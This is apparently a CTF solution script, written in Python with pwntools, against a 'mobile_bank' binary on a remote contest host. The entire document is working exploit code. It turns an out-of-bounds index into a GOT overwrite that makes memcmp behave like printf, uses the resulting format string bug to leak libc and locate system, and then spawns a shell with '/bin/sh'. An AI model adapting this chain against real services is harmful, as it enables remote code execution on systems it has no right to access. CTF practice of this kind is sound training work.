#!/usr/bin/env python # coding=utf8 from pwn import remote, context, p32, DynELF, ELF, u32, info import ctypes #context.log_level = 'debug' p = remote('pwn-04.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1337) def set_id(note_id): p.sendlineafter('choice: ', '2') p.sendlineafter('id: ', str(note_id)) def set_note(note_id, content): set_id(note_id) p.sendlineafter('choice: ', '3') p.sendlineafter('note: ', content) def trade(note_id, value): set_id(note_id) p.sendlineafter('choice: ', '4') p.sendlineafter('value: ', str(value)) def enable_debug(pwd): p.sendlineafter('choice: ', '6') p.sendlineafter('password: ', pwd) def _leak(adr): fsb_payload = "|%7$s|aa" + p32(adr) enable_debug(fsb_payload) r = p.recvuntil('|aa') data = r.split('|')[1] return data + '\x00' def leak(adr): info('leak: 0x%08x', adr) data = _leak(adr) while len(data) < 4: data += _leak(adr + len(data)) info(' ---> %08x', u32(data[:4])) return data[:4] def _off_id_to_notes_ptr(adr): base = 0x22088 offset = adr - base if offset > 0 or offset % 8 != 0: raise return offset / 8 def weak_leak(adr): info('weak_leak: 0x%08x', adr) off_id = _off_id_to_notes_ptr(adr) set_id(off_id) # account info p.sendlineafter('choice: ', '5') p.recvuntil('value: ') value = p.recvuntil('$, ')[:-3] return p32(int(value) & 0xffffffff) def _cint32_minus(left, right): left_int = ctypes.c_int32(left) right_int = ctypes.c_int32(right) return ctypes.c_int32(left_int.value - right_int.value).value # enable_debug('whatever') printf_plt = 0x10754 memcmp_got = 0x22050 memcmp_got_value = u32(weak_leak(memcmp_got)) info('memcmp_got_value: 0x%08x', memcmp_got_value) # modify memcmp_got to printf_plt to make a Format String Bug trade(_off_id_to_notes_ptr(memcmp_got), _cint32_minus(printf_plt, memcmp_got_value)) main = 0x11284 d = DynELF(leak, main, elf=ELF('./mobile_bank')) system_libc = d.lookup('system', 'libc') info('system_libc: 0x%08x', system_libc) # system_libc = memcmp_got_value - 175752 # info('system_libc: 0x%08x', system_libc) # memcmp_got has been modifided to printf_plt(AKA 0x10754) system_off_to_printf_plt = _cint32_minus(system_libc, printf_plt) trade(_off_id_to_notes_ptr(memcmp_got), system_off_to_printf_plt) # now call memcpy again and trigger system enable_debug('/bin/sh\x00') p.interactive()